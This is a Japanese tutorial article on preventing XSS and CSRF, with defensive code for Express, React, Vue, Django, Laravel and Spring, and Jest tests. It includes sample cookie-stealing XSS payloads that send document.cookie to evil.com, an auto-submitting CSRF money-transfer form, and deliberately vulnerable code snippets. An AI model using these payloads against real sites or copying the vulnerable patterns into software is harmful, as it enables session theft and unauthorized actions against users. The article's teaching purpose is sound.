XSS・CSRF対策入門|Webアプリを守るセキュリティ実装ガイド

kento_morota 25分で読めます

「セキュリティ対策は重要だと聞くけれど、具体的に何をすればいいのかわからない」——Web開発に携わるエンジニアの多くが、こうした悩みを抱えています。

XSS(クロスサイトスクリプティング)とCSRF(クロスサイトリクエストフォージェリ)は、Webアプリケーションで最も頻繁に発生する脆弱性です。本記事では、これらの攻撃手法を正しく理解し、実装レベルで対策できるようになることを目指します。

XSS(クロスサイトスクリプティング)とは何か

XSSは、攻撃者がWebページに悪意のあるスクリプトを注入し、他のユーザーのブラウザ上で実行させる攻撃手法です。OWASP Top 10にも常に上位にランクインしており、Web開発者が最優先で対策すべき脆弱性の一つです。

攻撃が成功すると、以下のような被害が発生します。

Cookie・セッション情報の窃取
ユーザーのログインセッションが盗まれ、なりすましログインが可能になります。攻撃者はユーザーとして操作ができてしまいます。

個人情報の漏洩
フォームに入力された氏名、メールアドレス、クレジットカード番号などが外部に送信される可能性があります。

フィッシング画面の表示
正規のサイト上に偽のログインフォームを表示し、ユーザーの認証情報を騙し取ることができます。見た目はそのサイトのままなので、ユーザーが気づきにくいのが特徴です。

XSSの3つの種類を理解する

XSSは攻撃の発生メカニズムによって3種類に分類されます。それぞれの特徴を正確に理解することが、適切な対策の第一歩です。

1. 反射型XSS(Reflected XSS)
ユーザーが送信したデータが、サーバーの応答にそのまま反映されることで発生します。典型的な例は検索機能です。

// 脆弱なコード例(Node.js + Express)
app.get('/search', (req, res) => {
  const query = req.query.q;
  // ユーザー入力をそのままHTMLに埋め込んでしまっている
  res.send(`<h1>「${query}」の検索結果</h1>`);
});

// 攻撃URL例
// /search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>

攻撃者はこのURLをメールやSNSで拡散し、クリックしたユーザーのCookieを窃取します。

2. 格納型XSS(Stored XSS)
悪意のあるスクリプトがサーバーのデータベースに保存され、そのデータを閲覧したすべてのユーザーに影響を与えます。掲示板やコメント欄が典型的な攻撃対象です。

// 脆弱なコード例:コメント表示
function displayComments(comments) {
  comments.forEach(comment => {
    // データベースから取得した値をそのまま表示
    document.getElementById('comments').innerHTML +=
      `<div class="comment">${comment.text}</div>`;
  });
}

// 攻撃者がコメントとして以下を投稿
// <img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">

反射型と比べて影響範囲が広く、より深刻な被害につながります。

3. DOM型XSS(DOM-based XSS)
サーバーを経由せず、クライアントサイドのJavaScriptによるDOM操作が原因で発生します。

// 脆弱なコード例
const hash = location.hash.substring(1);
document.getElementById('output').innerHTML = decodeURIComponent(hash);

// 攻撃URL例
// https://example.com/page#<img src=x onerror=alert(document.cookie)>

サーバー側のログに痕跡が残りにくいため、検出が難しいのが特徴です。

XSS対策の実装方法

XSSへの対策は「多層防御」が基本です。一つの対策だけに頼るのではなく、複数の防御層を組み合わせることで堅牢なセキュリティを実現します。

出力時のエスケープ処理

最も基本的かつ重要な対策は、ユーザー入力をHTMLに出力する際のエスケープ処理です。

// エスケープ関数の実装例
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
}

// 安全なコード例
app.get('/search', (req, res) => {
  const query = escapeHtml(req.query.q);
  res.send(`<h1>「${query}」の検索結果</h1>`);
});

ただし、手動でのエスケープはミスが発生しやすいため、フレームワークの自動エスケープ機能を活用することを強く推奨します。

フレームワーク別の自動エスケープ

// React:JSXはデフォルトでエスケープされる
function SearchResult({ query }) {
  return <h1>「{query}」の検索結果</h1>; // 安全
}

// 危険:dangerouslySetInnerHTMLは使わない
// <div dangerouslySetInnerHTML={{ __html: userInput }} />  // 脆弱!
<!-- Vue.js:二重中括弧はエスケープされる -->
<p>{{ userInput }}</p>  <!-- 安全 -->

<!-- 危険:v-htmlは使わない -->
<!-- <p v-html="userInput"></p>  脆弱! -->

Content Security Policy(CSP)の設定

CSPは、ブラウザに対して「どのソースからのスクリプト実行を許可するか」を指示するHTTPヘッダーです。万が一XSSの脆弱性があっても、不正なスクリプトの実行を防ぐことができます。

// Express.jsでのCSP設定例
const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "https://cdn.example.com"],
    styleSrc: ["'self'", "'unsafe-inline'"],
    imgSrc: ["'self'", "data:", "https:"],
    connectSrc: ["'self'", "https://api.example.com"],
    fontSrc: ["'self'", "https://fonts.googleapis.com"],
    objectSrc: ["'none'"],
    upgradeInsecureRequests: [],
  },
}));

CSP導入のステップ

いきなり厳格なCSPを適用すると、正常な機能が動かなくなるリスクがあります。以下の手順で段階的に導入しましょう。

まず、Content-Security-Policy-Report-Onlyヘッダーで監視モードとして設定します。ブロックはされませんが、違反レポートが送信されます。レポートを分析して問題がないことを確認したら、Content-Security-Policyに切り替えて本番適用します。

# Nginxでの設定例(監視モード)
add_header Content-Security-Policy-Report-Only
  "default-src 'self'; script-src 'self'; report-uri /csp-report";

その他のXSS防御策

HttpOnly属性付きCookie
セッションCookieにHttpOnly属性を付与すると、JavaScriptからのアクセスを防止できます。

// Express.jsでのセッション設定
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    httpOnly: true,   // JavaScriptからアクセス不可
    secure: true,     // HTTPS通信のみ
    sameSite: 'lax',  // CSRF対策にも効果的
    maxAge: 3600000   // 1時間で有効期限切れ
  }
}));

入力値のバリデーション
出力時のエスケープに加えて、入力時にも不正な値を弾くことで、攻撃の成功率をさらに下げられます。

// 入力バリデーションの例
function validateUsername(username) {
  // 英数字とアンダースコアのみ許可
  const pattern = /^[a-zA-Z0-9_]{3,20}$/;
  return pattern.test(username);
}

function validateEmail(email) {
  const pattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
  return pattern.test(email);
}

CSRF(クロスサイトリクエストフォージェリ)とは何か

CSRFは、ユーザーが意図しないリクエストを、ユーザーの認証情報を利用して送信させる攻撃手法です。XSSがスクリプトの「注入」であるのに対し、CSRFはユーザーの「権限」を悪用する点が異なります。

CSRFの攻撃フロー

1. ユーザーが正規サイト(例:銀行サイト)にログインしている状態で

2. 攻撃者が用意した罠サイトを訪問する

3. 罠サイトに仕込まれたフォームやスクリプトが、自動的に正規サイトへリクエストを送信する

4. ブラウザはCookieを自動的に付与するため、正規ユーザーとしてリクエストが処理される

<!-- 攻撃者の罠サイトに設置されたフォーム -->
<form action="https://bank.example.com/transfer" method="POST" id="evil-form">
  <input type="hidden" name="to" value="attacker-account" />
  <input type="hidden" name="amount" value="1000000" />
</form>
<script>document.getElementById('evil-form').submit();</script>

このように、ユーザーが罠サイトを開いただけで、銀行サイトへの送金リクエストが自動的に実行されてしまいます。

CSRFの影響範囲

CSRFによって引き起こされる被害は多岐にわたります。

不正な操作の実行
送金、パスワード変更、商品購入、アカウント削除など、ユーザー権限で可能なあらゆる操作が実行されるリスクがあります。

管理者権限の悪用
管理者ユーザーが攻撃対象になると、ユーザーの追加・削除、設定変更、データエクスポートなど、より深刻な被害につながります。

被害の特定が困難
正規ユーザーの認証情報で行われるため、ログ上は正常なリクエストと区別がつかず、被害の発見や調査が困難です。

CSRF対策の実装方法

CSRFへの対策は複数の手法を組み合わせることが重要です。ここでは実装が容易で効果の高い方法を紹介します。

CSRFトークンの導入

最も一般的で効果的な対策が、CSRFトークン(ワンタイムトークン)の利用です。サーバーがランダムなトークンを発行し、フォーム送信時にそのトークンの一致を検証します。

// Express.jsでのCSRFトークン実装(csurfパッケージ使用)
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

// フォーム表示時にトークンを埋め込む
app.get('/transfer', csrfProtection, (req, res) => {
  res.render('transfer', { csrfToken: req.csrfToken() });
});

// フォーム送信時にトークンを検証する
app.post('/transfer', csrfProtection, (req, res) => {
  // トークンが一致しない場合は自動的に403エラー
  processTransfer(req.body);
  res.redirect('/success');
});
<!-- HTMLフォーム側 -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="{{csrfToken}}" />
  <input type="text" name="to" placeholder="送金先" />
  <input type="number" name="amount" placeholder="金額" />
  <button type="submit">送金する</button>
</form>

攻撃者はCSRFトークンの値を知ることができないため、不正なリクエストは検証に失敗してブロックされます。

SameSite属性によるCookie制御

SameSite属性は、クロスサイトリクエスト時にCookieを送信するかどうかを制御するブラウザの仕組みです。

// SameSite属性の設定
app.use(session({
  cookie: {
    sameSite: 'lax',  // GETリクエストでは送信、POSTでは送信しない
    secure: true,
    httpOnly: true
  }
}));

SameSite属性の値と挙動

Strict:クロスサイトからのリクエストではCookieを一切送信しません。最も安全ですが、外部サイトからのリンクでログイン状態が維持されないため、ユーザビリティに影響があります。

Lax:トップレベルナビゲーション(リンクのクリックなど)のGETリクエストではCookieを送信しますが、POSTリクエストやiframe内のリクエストでは送信しません。多くのケースで推奨される設定です。

None:常にCookieを送信します。Secure属性との併用が必須です。サードパーティCookieが必要な場合のみ使用してください。

Originヘッダー・Refererヘッダーの検証

リクエスト元を検証することで、外部サイトからのリクエストを検出して拒否できます。

// Originヘッダー検証のミドルウェア
function validateOrigin(req, res, next) {
  const origin = req.headers.origin || req.headers.referer;
  const allowedOrigins = ['https://example.com', 'https://www.example.com'];

  if (req.method !== 'GET' && req.method !== 'HEAD') {
    if (!origin || !allowedOrigins.some(o => origin.startsWith(o))) {
      return res.status(403).json({ error: '不正なリクエスト元です' });
    }
  }
  next();
}

app.use(validateOrigin);

ただし、Refererヘッダーはプライバシー設定によって送信されないケースがあるため、CSRFトークンとの併用を推奨します。

フレームワーク別の実装パターン

主要なWebフレームワークには、XSSやCSRFに対する組み込みの防御機能が用意されています。これらを正しく使うことで、効率的にセキュリティを強化できます。

Django(Python)

# settings.py - CSRFミドルウェアはデフォルトで有効
MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',  # CSRF保護
    # ...
]

# テンプレートでの自動エスケープ(デフォルト有効)
# {{ user_input }}  → 自動エスケープされる
# {{ user_input|safe }}  → エスケープ無効(使用注意)

# CSRFトークンの埋め込み
# {% csrf_token %}をフォーム内に記述するだけ
<!-- Djangoテンプレート -->
<form method="post">
    {% csrf_token %}
    {{ form.as_p }}
    <button type="submit">送信</button>
</form>

Laravel(PHP)

{{-- Bladeテンプレートのエスケープ --}}
{{ $userInput }}  {{-- 自動エスケープされる --}}
{!! $userInput !!}  {{-- エスケープ無効(使用注意) --}}

{{-- CSRFトークンの埋め込み --}}
<form method="POST" action="/transfer">
    @csrf
    <input type="text" name="to" />
    <button type="submit">送信</button>
</form>
// LaravelのVerifyCsrfTokenミドルウェア(デフォルト有効)
// app/Http/Middleware/VerifyCsrfToken.php
// 除外したいURLがある場合のみカスタマイズ
protected $except = [
    'api/webhook/*',  // Webhook受信など外部からのリクエスト
];

Spring Boot(Java)

// Spring Securityの設定
@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .csrf(csrf -> csrf
                .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
            )
            .headers(headers -> headers
                .contentSecurityPolicy(csp ->
                    csp.policyDirectives("default-src 'self'; script-src 'self'")
                )
                .xssProtection(xss -> xss.headerValue(
                    XXssProtectionHeaderWriter.HeaderValue.ENABLED_MODE_BLOCK)
                )
            );
        return http.build();
    }
}

APIにおけるセキュリティ対策

REST APIやSPA(シングルページアプリケーション)では、従来のフォームベースとは異なるセキュリティ上の考慮が必要です。

SPAでのCSRF対策

SPAでは、フォームの送信ではなくJavaScriptからAPIにリクエストを送信します。この場合のCSRF対策パターンを紹介します。

// ダブルサブミットCookieパターン
// サーバー側:CSRFトークンをCookieにセット
app.get('/api/csrf-token', (req, res) => {
  const token = crypto.randomBytes(32).toString('hex');
  res.cookie('csrf-token', token, {
    httpOnly: false,  // JavaScriptから読み取れるようにする
    secure: true,
    sameSite: 'strict'
  });
  res.json({ csrfToken: token });
});

// クライアント側:Cookieからトークンを読み取りヘッダーに付与
async function apiRequest(url, options = {}) {
  const csrfToken = document.cookie
    .split('; ')
    .find(row => row.startsWith('csrf-token='))
    ?.split('=')[1];

  return fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      'X-CSRF-Token': csrfToken,
      'Content-Type': 'application/json',
    },
    credentials: 'same-origin',
  });
}

// サーバー側:ヘッダーとCookieのトークンを比較
function verifyCsrfToken(req, res, next) {
  const headerToken = req.headers['x-csrf-token'];
  const cookieToken = req.cookies['csrf-token'];

  if (!headerToken || headerToken !== cookieToken) {
    return res.status(403).json({ error: 'CSRFトークンが無効です' });
  }
  next();
}

APIレスポンスにおけるXSS対策

JSON APIでもXSSのリスクは存在します。特に、ブラウザがContent-Typeを誤認識してHTMLとして解釈するケースに注意が必要です。

// APIレスポンスのセキュリティヘッダー
app.use((req, res, next) => {
  // Content-Typeの厳格化
  res.setHeader('X-Content-Type-Options', 'nosniff');
  // iframeへの埋め込み防止
  res.setHeader('X-Frame-Options', 'DENY');
  // JSON応答のContent-Typeを明示
  if (req.path.startsWith('/api/')) {
    res.setHeader('Content-Type', 'application/json; charset=utf-8');
  }
  next();
});

セキュリティテストとチェックリスト

実装した対策が正しく機能しているか、定期的にテストすることが重要です。

自動テストの導入

// JestでのCSRFトークン検証テスト
describe('CSRF Protection', () => {
  test('CSRFトークンなしのPOSTリクエストが403を返す', async () => {
    const response = await request(app)
      .post('/api/transfer')
      .send({ to: 'account', amount: 1000 });

    expect(response.status).toBe(403);
  });

  test('有効なCSRFトークン付きのPOSTリクエストが成功する', async () => {
    // トークンを取得
    const tokenRes = await request(app).get('/api/csrf-token');
    const csrfToken = tokenRes.body.csrfToken;

    const response = await request(app)
      .post('/api/transfer')
      .set('X-CSRF-Token', csrfToken)
      .set('Cookie', tokenRes.headers['set-cookie'])
      .send({ to: 'account', amount: 1000 });

    expect(response.status).toBe(200);
  });
});

// XSSエスケープのテスト
describe('XSS Prevention', () => {
  test('ユーザー入力がエスケープされて出力される', async () => {
    const maliciousInput = '<script>alert("xss")</script>';
    const response = await request(app)
      .get(`/search?q=${encodeURIComponent(maliciousInput)}`);

    expect(response.text).not.toContain('<script>');
    expect(response.text).toContain('&lt;script&gt;');
  });
});

セキュリティチェックリスト

本番リリース前に確認すべきセキュリティ項目をまとめました。

XSS対策チェック項目

・すべてのユーザー入力がHTMLエスケープされているか
innerHTMLdangerouslySetInnerHTMLの使用箇所は適切か
・CSPヘッダーが設定されているか
・CookieにHttpOnly属性が付与されているか
・入力値のバリデーションが実装されているか

CSRF対策チェック項目

・状態変更を伴うすべてのエンドポイントにCSRFトークン検証があるか
・CookieのSameSite属性がLax以上に設定されているか
・GETリクエストで状態変更を行っていないか
・APIのOriginヘッダー検証が実装されているか
・カスタムヘッダーの検証が必要なエンドポイントに実装されているか

共通チェック項目

・HTTPSが強制されているか
・セキュリティ関連のHTTPヘッダー(X-Content-Type-Options、X-Frame-Optionsなど)が設定されているか
・エラーメッセージにスタックトレースなどの内部情報が含まれていないか
・依存パッケージの脆弱性チェック(npm auditなど)が定期実行されているか

まとめ:XSS・CSRF対策を習慣化しよう

XSSとCSRFは、Webアプリケーションにおいて最も一般的な脆弱性であり、適切な対策を取らないとユーザーの安全を脅かす深刻な問題につながります。

本記事の要点を振り返りましょう。

XSS対策の3本柱
・出力時のエスケープ処理を徹底する(フレームワークの自動エスケープを活用)
・CSPヘッダーを設定して不正なスクリプト実行を防ぐ
・CookieにHttpOnly属性を付与してセッション窃取を防ぐ

CSRF対策の3本柱
・CSRFトークンを導入してリクエストの正当性を検証する
・CookieのSameSite属性をLax以上に設定する
・Origin/Refererヘッダーで送信元を検証する

セキュリティ対策は、後から追加するよりも、設計・実装の段階から組み込むほうがコストも手間もかかりません。本記事で紹介した手法を日常の開発に取り入れ、安全なWebアプリケーションを構築していきましょう。

#XSS#CSRF#セキュリティ
共有:
無料メルマガ

週1回、最新の技術記事をお届け

AI・クラウド・開発の最新記事を毎週月曜にメールでお届けします。登録は無料、いつでも解除できます。

プライバシーポリシーに基づき管理します

AI活用のヒントをお探しですか?お気軽にご相談ください。

まずは話だけ聞いてもらう